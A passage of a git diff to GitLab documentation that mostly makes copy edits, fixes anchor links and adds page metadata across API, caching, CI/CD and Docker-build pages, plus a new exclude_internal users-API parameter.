GET /users?active=true
@@ -61,6 +59,15 @@ GET /users?active=true
GET /users?blocked=true
```
+GitLab supports bot users such as the [alert bot](../operations/incident_management/generic_alerts.md)
+or the [support bot](../user/project/service_desk.md#support-bot-user).
+To exclude these users from the users' list, you can use the parameter `exclude_internal=true`
+([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241144) in GitLab 13.4).
+
+```plaintext
+GET /users?exclude_internal=true
+```
+
NOTE: **Note:**
Username search is case insensitive.
@@ -767,7 +774,7 @@ POST /user/keys
Parameters:
-- `title` (required) - new SSH Key's title
+- `title` (required) - new SSH key's title
- `key` (required) - new SSH key
- `expires_at` (optional) - The expiration date of the SSH key in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`)
@@ -806,12 +813,12 @@ POST /users/:id/keys
Parameters:
- `id` (required) - ID of specified user
-- `title` (required) - new SSH Key's title
+- `title` (required) - new SSH key's title
- `key` (required) - new SSH key
- `expires_at` (optional) - The expiration date of the SSH key in ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`)
NOTE: **Note:**
-This also adds an audit event, as described in [audit instance events](../administration/audit_events.md#instance-events-premium-only). **(PREMIUM)**
+This also adds an audit event, as described in [audit instance events](../administration/audit_events.md#instance-events). **(PREMIUM)**
## Delete SSH key for current user
diff --git a/doc/api/v3_to_v4.md b/doc/api/v3_to_v4.md
index 4571d4d8304..4139438bea0 100644
--- a/doc/api/v3_to_v4.md
+++ b/doc/api/v3_to_v4.md
@@ -74,8 +74,8 @@ Below are the changes made between V3 and V4.
- `POST /projects/:id/trigger/builds` to `POST /projects/:id/trigger/pipeline`
- Require description when creating a new trigger `POST /projects/:id/triggers`
- Simplify project payload exposed on Environment endpoints [!9675](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9675)
-- API uses merge request `IID`s (internal ID, as in the web UI) rather than `ID`s. This affects the merge requests, award emoji, todos, and time tracking APIs. [!9530](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9530)
-- API uses issue `IID`s (internal ID, as in the web UI) rather than `ID`s. This affects the issues, award emoji, todos, and time tracking APIs. [!9530](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9530)
+- API uses merge request `IID`s (internal ID, as in the web UI) rather than `ID`s. This affects the merge requests, award emoji, to-dos, and time tracking APIs. [!9530](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9530)
+- API uses issue `IID`s (internal ID, as in the web UI) rather than `ID`s. This affects the issues, award emoji, to-dos, and time tracking APIs. [!9530](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9530)
- Change initial page from `0` to `1` on `GET /projects/:id/repository/commits` (like on the rest of the API) [!9679](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9679)
- Return correct `Link` header data for `GET /projects/:id/repository/commits` [!9679](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9679)
- Update endpoints for repository files [!9637](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9637)
diff --git a/doc/api/visual_review_discussions.md b/doc/api/visual_review_discussions.md
index c9863784038..7e741688949 100644
--- a/doc/api/visual_review_discussions.md
+++ b/doc/api/visual_review_discussions.md
@@ -10,7 +10,7 @@ type: reference, api
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18710) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.5.
Visual Review discussions are notes on Merge Requests sent as
-feedback from [Visual Reviews](../ci/review_apps/index.md#visual-reviews-starter).
+feedback from [Visual Reviews](../ci/review_apps/index.md#visual-reviews).
## Create new merge request thread
diff --git a/doc/api/vulnerabilities.md b/doc/api/vulnerabilities.md
index a0d871af127..73c765e2ccc 100644
--- a/doc/api/vulnerabilities.md
+++ b/doc/api/vulnerabilities.md
@@ -1,3 +1,9 @@
+---
+stage: Secure
+group: Threat Insights
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
# Vulnerabilities API **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10242) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.6.
diff --git a/doc/api/vulnerability_exports.md b/doc/api/vulnerability_exports.md
index 2cb647e797b..d19d41b647e 100644
--- a/doc/api/vulnerability_exports.md
+++ b/doc/api/vulnerability_exports.md
@@ -1,3 +1,9 @@
+---
+stage: Secure
+group: Threat Insights
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
# Vulnerability export API **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/197494) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. [Updated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30397) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0.
diff --git a/doc/api/vulnerability_findings.md b/doc/api/vulnerability_findings.md
index 96171f0229d..bfb1306e4aa 100644
--- a/doc/api/vulnerability_findings.md
+++ b/doc/api/vulnerability_findings.md
@@ -1,3 +1,9 @@
+---
+stage: Secure
+group: Threat Insights
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
# Vulnerability Findings API **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19029) in GitLab Ultimate 12.5.
diff --git a/doc/ci/README.md b/doc/ci/README.md
index 6f15fa52550..9d3f7f2a8f2 100644
--- a/doc/ci/README.md
+++ b/doc/ci/README.md
@@ -80,36 +80,37 @@ Once you're familiar with how GitLab CI/CD works, see the
for all the attributes you can set and use.
NOTE: **Note:**
-GitLab CI/CD and [shared runners](runners/README.md#shared-runners) are enabled in GitLab.com and available for all users, limited only to the [user's pipelines quota](../user/gitlab_com/index.md#shared-runners).
+GitLab CI/CD and [shared runners](runners/README.md#shared-runners) are enabled on GitLab.com and available for all users, limited only by the [pipeline quota](../user/gitlab_com/index.md#shared-runners).
## Concepts
GitLab CI/CD uses a number of concepts to describe and run your build and deploy.
-| Concept | Description |
-|:--------------|:-------------|
-| [Pipelines](pipelines/index.md) | Structure your CI/CD process through pipelines. |
-| [Environment variables](variables/README.md) | Reuse values based on a variable/value key pair. |
-| [Environments](environments/index.md) | Deploy your application to different environments (e.g., staging, production). |
-| [Job artifacts](pipelines/job_artifacts.md) | Output, use, and reuse job artifacts. |
-| [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. |
-| [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own GitLab Runners to execute your scripts. |
+| Concept | Description |
+|:--------------------------------------------------------|:-------------------------------------------------------------------------------|
+| [Pipelines](pipelines/index.md) | Structure your CI/CD process through pipelines. |
+| [Environment variables](variables/README.md) | Reuse values based on a variable/value key pair. |
+| [Environments](environments/index.md) | Deploy your application to different environments (e.g., staging, production). |
+| [Job artifacts](pipelines/job_artifacts.md) | Output, use, and reuse job artifacts. |
+| [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. |
+| [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. |
+| [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and effienctly. |
## Configuration
GitLab CI/CD supports numerous configuration options:
-| Configuration | Description |
-|:--------------|:-------------|
-| [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. |
-| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-ci-configuration-path) | Define a custom path for the CI/CD configuration file. |
-| [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules.|
-| [SSH keys for CI/CD](ssh_keys/README.md) | Using SSH keys in your CI pipelines. |
-| [Pipeline triggers](triggers/README.md) | Trigger pipelines through the API. |
-| [Pipelines for Merge Requests](merge_request_pipelines/index.md) | Design a pipeline structure for running a pipeline in merge requests. |
-| [Integrate with Kubernetes clusters](../user/project/clusters/index.md) | Connect your project to Google Kubernetes Engine (GKE) or an existing Kubernetes cluster. |
-| [Optimize GitLab and Runner for large repositories](large_repositories/index.md) | Recommended strategies for handling large repositories. |
-| [`.gitlab-ci.yml` full reference](yaml/README.md) | All the attributes you can use with GitLab CI/CD. |
+| Configuration | Description |
+|:----------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------|
+| [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. |
+| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-ci-configuration-path) | Define a custom path for the CI/CD configuration file. |
+| [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules. |
+| [SSH keys for CI/CD](ssh_keys/README.md) | Using SSH keys in your CI pipelines. |
+| [Pipeline triggers](triggers/README.md) | Trigger pipelines through the API. |
+| [Pipelines for Merge Requests](merge_request_pipelines/index.md) | Design a pipeline structure for running a pipeline in merge requests. |
+| [Integrate with Kubernetes clusters](../user/project/clusters/index.md) | Connect your project to Google Kubernetes Engine (GKE) or an existing Kubernetes cluster. |
+| [Optimize GitLab and GitLab Runner for large repositories](large_repositories/index.md) | Recommended strategies for handling large repositories. |
+| [`.gitlab-ci.yml` full reference](yaml/README.md) | All the attributes you can use with GitLab CI/CD. |
Note that certain operations can only be performed according to the
[user](../user/permissions.md#gitlab-cicd-permissions) and [job](../user/permissions.md#job-permissions) permissions.
@@ -132,7 +133,7 @@ Its feature set is listed on the table below according to DevOps stages.
| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. |
| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. |
| [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. |
-| [JUnit tests](junit_test_reports.md) | Identify script failures directly on merge requests. |
+| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. |
| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. |
|---+---|
| **Release** ||
@@ -191,41 +192,25 @@ been necessary. These are:
#### 13.0
-- [Remove Backported
- `os.Expand`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4915)
-- [Remove Fedora 29 package
- support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/16158)
-- [Remove macOS 32-bit
- support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25466)
-- [Removed `debug/jobs/list?v=1`
- endpoint](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6361)
-- [Remove support for array of strings when defining services for Docker
- executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4922)
-- [Remove `--docker-services` flag on register
- command](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6404)
-- [Remove legacy build directory
- caching](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4180)
-- [Remove `FF_USE_LEGACY_VOLUMES_MOUNTING_ORDER` feature
- flag](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6581)
-- [Remove support for Windows Server
- 1803](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6553)
+- [Remove Backported `os.Expand`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4915).
+- [Remove Fedora 29 package support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/16158).
+- [Remove macOS 32-bit support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25466).
+- [Removed `debug/jobs/list?v=1` endpoint](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6361).
+- [Remove support for array of strings when defining services for Docker executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4922).
+- [Remove `--docker-services` flag on register command](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6404).
+- [Remove legacy build directory caching](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4180).
+- [Remove `FF_USE_LEGACY_VOLUMES_MOUNTING_ORDER` feature flag](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6581).
+- [Remove support for Windows Server 1803](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6553).
#### 12.0
-- [Use refspec to clone/fetch Git
- repository](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4069).
-- [Old cache
- configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4070).
-- [Old metrics server
- configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4072).
-- [Remove
- `FF_K8S_USE_ENTRYPOINT_OVER_COMMAND`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4073).
-- [Remove Linux distributions that reach
- EOL](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1130).
-- [Update command line API for helper
- images](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4013).
-- [Remove old `git clean`
- flow](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4175).
+- [Use refspec to clone/fetch Git repository](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4069).
+- [Old cache configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4070).
+- [Old metrics server configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4072).
+- [Remove `FF_K8S_USE_ENTRYPOINT_OVER_COMMAND`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4073).
+- [Remove Linux distributions that reach EOL](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1130).
+- [Update command line API for helper images](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4013).
+- [Remove old `git clean` flow](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4175).
#### 11.0
diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md
index b6bd01ecf58..50f7d5252d8 100644
--- a/doc/ci/caching/index.md
+++ b/doc/ci/caching/index.md
@@ -60,7 +60,7 @@ Caches:
- Are disabled if not defined globally or per job (using `cache:`).
- Are available for all jobs in your `.gitlab-ci.yml` if enabled globally.
- Can be used in subsequent pipelines by the same job in which the cache was created (if not defined globally).
-- Are stored where the Runner is installed **and** uploaded to S3 if [distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching).
+- Are stored where GitLab Runner is installed **and** uploaded to S3 if [distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching).
- If defined per job, are used:
- By the same job in a subsequent pipeline.
- By subsequent jobs in the same pipeline, if they have identical dependencies.
@@ -80,33 +80,33 @@ can't link to files outside it.
## Good caching practices
We have the cache from the perspective of the developers (who consume a cache
-within the job) and the cache from the perspective of the Runner. Depending on
-which type of Runner you are using, cache can act differently.
+within the job) and the cache from the perspective of the runner. Depending on
+which type of runner you are using, cache can act differently.
From the perspective of the developer, to ensure maximum availability of the
cache, when declaring `cache` in your jobs, use one or a mix of the following:
-- [Tag your Runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs
+- [Tag your runners](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs
that share their cache.
-- [Use sticky Runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects)
+- [Use sticky runners](../runners/README.md#prevent-a-specific-runner-from-being-enabled-for-other-projects)
that will be only available to a particular project.
- [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example,
different caches on each branch). For that, you can take advantage of the
[CI/CD predefined variables](../variables/README.md#predefined-environment-variables).
TIP: **Tip:**
-Using the same Runner for your pipeline, is the most simple and efficient way to
+Using the same runner for your pipeline, is the most simple and efficient way to
cache files in one stage or pipeline, and pass this cache to subsequent stages
or pipelines in a guaranteed manner.
-From the perspective of the Runner, in order for cache to work effectively, one
+From the perspective of the runner, in order for cache to work effectively, one
of the following must be true:
-- Use a single Runner for all your jobs.
-- Use multiple Runners (in autoscale mode or not) that use
+- Use a single runner for all your jobs.
+- Use multiple runners (in autoscale mode or not) that use
[distributed caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching),
- where the cache is stored in S3 buckets (like shared Runners on GitLab.com).
-- Use multiple Runners (not in autoscale mode) of the same architecture that
+ where the cache is stored in S3 buckets (like shared runners on GitLab.com).
+- Use multiple runners (not in autoscale mode) of the same architecture that
share a common network-mounted directory (using NFS or something similar)
where the cache will be stored.
@@ -179,12 +179,12 @@ You can override cache settings without overwriting the global cache by using
```yaml
cache: &global_cache
- key: ${CI_COMMIT_REF_SLUG}
- paths:
- - node_modules/
- - public/
- - vendor/
- policy: pull-push
+ key: ${CI_COMMIT_REF_SLUG}
+ paths:
+ - node_modules/
+ - public/
+ - vendor/
+ policy: pull-push
job:
cache:
@@ -281,7 +281,7 @@ image: python:latest
# Change pip's cache directory to be inside the project directory since we can
# only cache local items.
variables:
- PIP_CACHE_DIR: "$CI_PROJECT_DIR/.cache/pip"
+ PIP_CACHE_DIR: "$CI_PROJECT_DIR/.cache/pip"
# Pip's cache doesn't store the python packages
# https://pip.pypa.io/en/stable/reference/pip_install/#caching
@@ -364,27 +364,27 @@ be prepared to regenerate any cached files in each job that needs them.
Assuming you have properly [defined `cache` in `.gitlab-ci.yml`](../yaml/README.md#cache)
according to your workflow, the availability of the cache ultimately depends on
-how the Runner has been configured (the executor type and whether different
-Runners are used for passing the cache between jobs).
+how the runner has been configured (the executor type and whether different
+runners are used for passing the cache between jobs).
### Where the caches are stored
-Since the Runner is the one responsible for storing the cache, it's essential
+Since the runner is the one responsible for storing the cache, it's essential
to know **where** it's stored. All the cache paths defined under a job in
`.gitlab-ci.yml` are archived in a single `cache.zip` file and stored in the
-Runner's configured cache location. By default, they are stored locally in the
-machine where the Runner is installed and depends on the type of the executor.
+runner's configured cache location. By default, they are stored locally in the
+machine where the runner is installed and depends on the type of the executor.
| GitLab Runner executor | Default path of the cache |
| ---------------------- | ------------------------- |
| [Shell](https://docs.gitlab.com/runner/executors/shell.html) | Locally, stored under the `gitlab-runner` user's home directory: `/home/gitlab-runner/cache/<user>/<project>/<cache-key>/cache.zip`. |
| [Docker](https://docs.gitlab.com/runner/executors/docker.html) | Locally, stored under [Docker volumes](https://docs.gitlab.com/runner/executors/docker.html#the-builds-and-cache-storage): `/var/lib/docker/volumes/<volume-id>/_data/<user>/<project>/<cache-key>/cache.zip`. |
-| [Docker machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale Runners) | Behaves the same as the Docker executor. |
+| [Docker machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale runners) | Behaves the same as the Docker executor. |
### How archiving and extracting works
In the most simple scenario, consider that you use only one machine where the
-Runner is installed, and all jobs of your project run on the same host.
+runner is installed, and all jobs of your project run on the same host.
Let's see the following example of two jobs that belong to two consecutive
stages:
@@ -426,17 +426,17 @@ Here's what happens behind the scenes:
1. `after_script` is executed.
1. `cache` runs and the `vendor/` directory is zipped into `cache.zip`.
This file is then saved in the directory based on the
- [Runner's setting](#where-the-caches-are-stored) and the `cache: key`.
+ [runner's setting](#where-the-caches-are-stored) and the `cache: key`.
1. `job B` runs.
1. The cache is extracted (if found).
1. `before_script` is executed.
1. `script` is executed.
1. Pipeline finishes.
-By using a single Runner on a single machine, you'll not have the issue where
-`job B` might execute on a Runner different from `job A`, thus guaranteeing the
+By using a single runner on a single machine, you'll not have the issue where
+`job B` might execute on a runner different from `job A`, thus guaranteeing the
cache between stages. That will only work if the build goes from stage `build`
-to `test` in the same Runner/machine, otherwise, you [might not have the cache
+to `test` in the same runner/machine, otherwise, you [might not have the cache
available](#cache-mismatch).
During the caching process, there's also a couple of things to consider:
@@ -448,13 +448,13 @@ During the caching process, there's also a couple of things to consider:
their cache.
- When extracting the cache from `cache.zip`, everything in the zip file is
extracted in the job's working directory (usually the repository which is
- pulled down), and the Runner doesn't mind if the archive of `job A` overwrites
+ pulled down), and the runner doesn't mind if the archive of `job A` overwrites
things in the archive of `job B`.
-The reason why it works this way is because the cache created for one Runner
+The reason why it works this way is because the cache created for one runner
often will not be valid when used by a different one which can run on a
**different architecture** (e.g., when the cache includes binary files). And
-since the different steps might be executed by Runners running on different
+since the different steps might be executed by runners running on different
machines, it is a safe default.
### Cache mismatch
@@ -464,17 +464,17 @@ mismatch and a few ideas how to fix it.
| Reason of a cache mismatch | How to fix it |
| -------------------------- | ------------- |
-| You use multiple standalone Runners (not in autoscale mode) attached to one project without a shared cache | Use only one Runner for your project or use multiple Runners with distributed cache enabled |
-| You use Runners in autoscale mode without a distributed cache enabled | Configure the autoscale Runner to use a distributed cache |
-| The machine the Runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. Currently, there's no automatic way to do this. |
+| You use multiple standalone runners (not in autoscale mode) attached to one project without a shared cache | Use only one runner for your project or use multiple runners with distributed cache enabled |
+| You use runners in autoscale mode without a distributed cache enabled | Configure the autoscale runner to use a distributed cache |
+| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. Currently, there's no automatic way to do this. |
| You use the same `key` for jobs where they cache different paths. | Use different cache keys to that the cache archive is stored to a different location and doesn't overwrite wrong caches. |
Let's explore some examples.
#### Examples
-Let's assume you have only one Runner assigned to your project, so the cache
-will be stored in the Runner's machine by default. If two jobs, A and B,
+Let's assume you have only one runner assigned to your project, so the cache
+will be stored in the runner's machine by default. If two jobs, A and B,
have the same cache key, but they cache different paths, cache B would overwrite
cache A, even if their `paths` don't match:
@@ -513,7 +513,7 @@ job B:
To fix that, use different `keys` for each job.
-In another case, let's assume you have more than one Runners assigned to your
+In another case, let's assume you have more than one runner assigned to your
project, but the distributed cache is not enabled. The second time the
pipeline is run, we want `job A` and `job B` to re-use their cache (which in this case
will be different):
@@ -542,11 +542,11 @@ job B:
In that case, even if the `key` is different (no fear of overwriting), you
might experience that the cached files "get cleaned" before each stage if the
-jobs run on different Runners in the subsequent pipelines.
+jobs run on different runners in the subsequent pipelines.
## Clearing the cache
-GitLab Runners use [cache](../yaml/README.md#cache) to speed up the execution
+Runners use [cache](../yaml/README.md#cache) to speed up the execution
of your jobs by reusing existing data. This however, can sometimes lead to an
inconsistent behavior.
@@ -565,9 +565,9 @@ If you want to avoid editing `.gitlab-ci.yml`, you can easily clear the cache
via GitLab's UI:
1. Navigate to your project's **CI/CD > Pipelines** page.
-1. Click on the **Clear Runner caches** button to clean up the cache.
+1. Click on the **Clear runner caches** button to clean up the cache.
- ![Clear Runners cache](img/clear_runners_cache.png)
+ ![Clear runner caches](img/clear_runners_cache.png)
1. On the next push, your CI/CD job will use a new cache.
diff --git a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md
index ba801950c40..74c48f087b2 100644
--- a/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md
+++ b/doc/ci/ci_cd_for_external_repos/bitbucket_integration.md
@@ -19,7 +19,7 @@ To use GitLab CI/CD with a Bitbucket Cloud repository:
![Create project](img/external_repository.png)
- GitLab will import the repository and enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter).
+ GitLab will import the repository and enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository).
1. In GitLab create a
[Personal Access Token](../../user/profile/personal_access_tokens.md)
diff --git a/doc/ci/ci_cd_for_external_repos/github_integration.md b/doc/ci/ci_cd_for_external_repos/github_integration.md
index dc1135742ea..661d935fc1d 100644
--- a/doc/ci/ci_cd_for_external_repos/github_integration.md
+++ b/doc/ci/ci_cd_for_external_repos/github_integration.md
@@ -47,7 +47,7 @@ repositories:
GitLab will:
1. Import the project.
-1. Enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter)
+1. Enable [Pull Mirroring](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository)
1. Enable [GitHub project integration](../../user/project/integrations/github.md)
1. Create a web hook on GitHub to notify GitLab of new commits.
@@ -85,7 +85,7 @@ To manually enable GitLab CI/CD for your repository:
new commits.
The web hook URL should be set to the GitLab API to
- [trigger pull mirroring](../../api/projects.md#start-the-pull-mirroring-process-for-a-project-starter),
+ [trigger pull mirroring](../../api/projects.md#start-the-pull-mirroring-process-for-a-project),
using the GitLab personal access token we just created:
```plaintext
diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md
index 355bc7813d9..6fa0e6d9475 100644
--- a/doc/ci/cloud_deployment/index.md
+++ b/doc/ci/cloud_deployment/index.md
@@ -56,7 +56,7 @@ Some credentials are required to be able to run `aws` commands:
```yaml
deploy:
stage: deploy
- image: registry.gitlab.com/gitlab-org/cloud-deploy/aws-base:latest # see the note below
+ image: registry.gitlab.com/gitlab-org/cloud-deploy/aws-base:latest # see the note below
script:
- aws s3 ...
- aws create-deployment ...
diff --git a/doc/ci/directed_acyclic_graph/index.md b/doc/ci/directed_acyclic_graph/index.md
index 8fc58df51fe..19da0496f8a 100644
--- a/doc/ci/directed_acyclic_graph/index.md
+++ b/doc/ci/directed_acyclic_graph/index.md
@@ -86,7 +86,7 @@ are certain use cases that you may need to work around. For more information:
> - It became [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36802) in 13.2.
> - It became a [standard feature](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38517) in 13.3.
> - It's enabled on GitLab.com.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-dag-visualization-core-only).
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-dag-visualization).
The DAG visualization makes it easier to visualize the relationships between dependent jobs in a DAG. This graph will display all the jobs in a pipeline that need or are needed by other jobs. Jobs with no relationships are not displayed in this view.
@@ -106,5 +106,5 @@ can opt to disable it for your instance:
# Instance-wide
Feature.disable(:dag_pipeline_tab)
# or by project
-Feature.disable(:dag_pipeline_tab, Project.find(<project id>))
+Feature.disable(:dag_pipeline_tab, Project.find(<project ID>))
```
diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md
index 88d6dc3aae4..045fcd39c4d 100644
--- a/doc/ci/docker/using_docker_build.md
+++ b/doc/ci/docker/using_docker_build.md
@@ -35,12 +35,12 @@ There are three methods to enable the use of `docker build` and `docker run`
during jobs, each with their own tradeoffs.
An alternative to using `docker build` is to [use kaniko](using_kaniko.md).
-This avoids having to execute Runner in privileged mode.
+This avoids having to execute a runner in privileged mode.
TIP: **Tip:**
-To see how Docker and Runner are configured for shared Runners on
-GitLab.com, see [GitLab.com Shared
-Runners](../../user/gitlab_com/index.md#shared-runners).
+To see how Docker and GitLab Runner are configured for shared runners on
+GitLab.com, see [GitLab.com shared
+runners](../../user/gitlab_com/index.md#shared-runners).
### Use shell executor
@@ -123,7 +123,7 @@ not without its own challenges:
- By default, Docker 17.09 and higher uses `--storage-driver overlay2` which is
the recommended storage driver. See [Using the overlayfs driver](#use-the-overlayfs-driver)
for details.
-- Since the `docker:19.03.12-dind` container and the Runner container don't share their
+- Since the `docker:19.03.12-dind` container and the runner container don't share their
root file system, the job's working directory can be used as a mount point for
child containers. For example, if you have files you want to share with a
child container, you may create a subdirectory under `/builds/$CI_PROJECT_PATH`
@@ -160,7 +160,7 @@ details.
The Docker daemon supports connection over TLS and it's done by default
for Docker 19.03.12 or higher. This is the **suggested** way to use the
Docker-in-Docker service and
-[GitLab.com Shared Runners](../../user/gitlab_com/index.md#shared-runners)
+[GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners)
support this.
1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/).
@@ -179,7 +179,7 @@ support this.
--docker-volumes "/certs/client"
```
- The above command registers a new Runner to use the special
+ The above command registers a new runner to use the special
`docker:19.03.12` image, which is provided by Docker. **Notice that it's
using the `privileged` mode to start the build and service
containers.** If you want to use [Docker-in-Docker](https://www.docker.com/blog/docker-can-now-run-within-docker/) mode, you always
@@ -255,7 +255,7 @@ Sometimes there are legitimate reasons why you might want to disable TLS.
For example, you have no control over the GitLab Runner configuration
that you are using.
-Assuming that the Runner `config.toml` is similar to:
+Assuming that the runner's `config.toml` is similar to:
```toml
[[runners]]
@@ -337,10 +337,10 @@ In order to do that, follow the steps:
--docker-volumes /var/run/docker.sock:/var/run/docker.sock
```
- The above command registers a new Runner to use the special
+ The above command registers a new runner to use the special
`docker:19.03.12` image which is provided by Docker. **Notice that it's using
- the Docker daemon of the Runner itself, and any containers spawned by Docker
- commands are siblings of the Runner rather than children of the Runner.**
+ the Docker daemon of the runner itself, and any containers spawned by Docker
+ commands are siblings of the runner rather than children of the runner.**
This may have complications and limitations that are unsuitable for your workflow.
The above command creates a `config.toml` entry similar to this:
@@ -454,7 +454,7 @@ The steps in the `script` section for the `build` stage can be summed up to:
## Use the OverlayFS driver
NOTE: **Note:**
-The shared Runners on GitLab.com use the `overlay2` driver by default.
+The shared runners on GitLab.com use the `overlay2` driver by default.
By default, when using `docker:dind`, Docker uses the `vfs` storage driver which
copies the filesystem on every run. This is a disk-intensive operation
@@ -504,10 +504,10 @@ environment variable in the
environment = ["DOCKER_DRIVER=overlay2"]
```
-If you're running multiple Runners, you have to modify all configuration files.
+If you're running multiple runners, you have to modify all configuration files.
NOTE: **Note:**
-Read more about the [Runner configuration](https://docs.gitlab.com/runner/configuration/)
+Read more about the [runner configuration](https://docs.gitlab.com/runner/configuration/)
and [using the OverlayFS storage driver](https://docs.docker.com/engine/userguide/storagedriver/overlayfs-driver/).
## Using the GitLab Container Registry
diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md
